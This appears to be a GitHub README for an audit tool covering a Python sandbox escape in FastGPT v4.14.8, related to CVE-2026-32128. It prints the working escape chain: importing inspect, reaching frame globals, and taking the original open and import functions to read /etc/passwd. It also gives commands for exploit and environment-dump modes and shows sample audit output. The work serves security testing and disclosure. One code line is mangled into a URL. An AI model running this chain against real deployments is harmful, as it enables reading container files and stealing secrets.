qianlijaingshan/fastgpt-sandbox-auditFastGPT Python sandbox escape chain audit tool (CVE-2026-32128 related, v4.14.8 inspect chain)
FastGPT Python sandbox escape chain audit tool.
The "Code Runner" node in FastGPT workflows passes user Python code to an isolated sandbox for execution. In v4.14.8, the sandbox protections are purely Python-level (module blacklist + AST checks + open guard + import guard). This tool detects and verifies the bypass chains for these protections:
import inspect # inspect is not in the _DANGEROUS_STDLIB blacklist
g = inspect.currentframe().f_back.f_globals # AST checks do not block single-underscore frame attributes
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/HEAD/%27/etc/passwd%27) # module globals expose the original open reference
imp = g['_original_import'] # module globals expose the original __import__ reference
| Version | Architecture | Status |
|---|---|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128 (fcntl remapping stdout) |
| v4.14.8 | Bun + Hono + worker.py | This escape chain, full escape (arbitrary files in container + network lateral movement) |
| main | Go native chroot + seccomp | Python layer is bypassed as well, chroot fallback limits to container |
Pure standard library, Python 3.8+.
# Statically check worker.py protection configuration (does not execute payload)
python3 fastgpt-sandbox-audit.py --check
# Run the full escape chain against a real worker.py (read /etc/passwd + write file)
python3 fastgpt-sandbox-audit.py --exploit
# Dump environment variables (first 20 keys)
python3 fastgpt-sandbox-audit.py --dump
# Specify worker.py path
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
--exploit requires a real worker.py (the Python worker process for the FastGPT v4.14.8 sandbox). By default it reads ./worker.py from the current directory and submits the payload through its own stdin JSON protocol ({"type":"init"} → {"type":"task","code":...}).
--check mode output:
=== fastgpt-sandbox-audit: protection configuration check ===
[risk] inspect not in _DANGEROUS_STDLIB blacklist -> can be imported
[risk] AST check does not block f_globals attribute
[risk] module globals expose _original_open -> can be stolen via f_globals
[risk] module globals expose _original_import -> can be stolen via f_globals
[info] worker.py has no seccomp (4.14.8+ pure Python protections)
This tool is intended for security research and security testing within authorized scope only. Testing other people's systems without authorization may violate laws and regulations; you are solely responsible for any related consequences.